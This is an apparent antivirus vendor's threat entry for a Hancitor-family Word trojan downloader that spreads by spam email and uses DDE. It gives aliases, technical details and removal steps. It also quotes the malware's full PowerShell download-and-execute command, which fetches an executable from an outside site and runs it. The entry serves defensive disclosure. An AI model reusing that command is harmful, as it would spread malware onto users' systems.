Analysis by: Wilbert Vidal
ALIASES:

TrojanDownloader:O97M/Powcomdex.A (Microsoft); Trojan-Downloader.MSWord.Agent.bpi (Kaspersky)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted: No

  • In the wild: Yes

  OVERVIEW

Infection Channel: Spammed via email

This Trojan arrives as attachment to mass-mailed email messages.

It executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system. As of this writing, the said sites are inaccessible.

  TECHNICAL DETAILS

File Size: 55,352 bytes
File Type: EXE
Memory Resident: No
Initial Samples Received Date: 17 Oct 2017
Payload: Connects to URLs/IPs, Downloads files

Arrival Details

This Trojan arrives as attachment to mass-mailed email messages.

Download Routine

This Trojan connects to the following website(s) to download and execute a malicious file:

  • http://{BLOCKED}ertherapycenter.com/16.exe

It saves the files it downloads using the following names:

It then executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system.

As of this writing, the said sites are inaccessible.

Other Details

This Trojan does the following:

  • It uses powershell to download and execute a malicious file: powershell.exe (New-Object System.Net.WebClient).DownloadFile('http://frontiertherapycenter.com/16.exe','C:\Users\PEWPEW~1\AppData\Local\Temp\tvs.exe');Start-Process 'C:\Users\PEWPEW~1\AppData\Local\Temp\tvs.exe'
  • It contains the following details luring users to execute the download routine:

  • It uses Microsoft's Dynamic Data Exchange (DDE) technique.

  SOLUTION

Minimum Scan Engine: 9.850

Step 1

Before doing any scans, Windows XP, Windows Vista, and Windows 7 users must disable System Restore to allow full scanning of their computers.

Step 2

Remove the malware/grayware file that dropped/downloaded W2KM_HANCITOR.JCWV. (Note: Please skip this step if the threat(s) listed below have already been removed.)

Step 3

Scan your computer with your Trend Micro product to delete files detected as W2KM_HANCITOR.JCWV. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.


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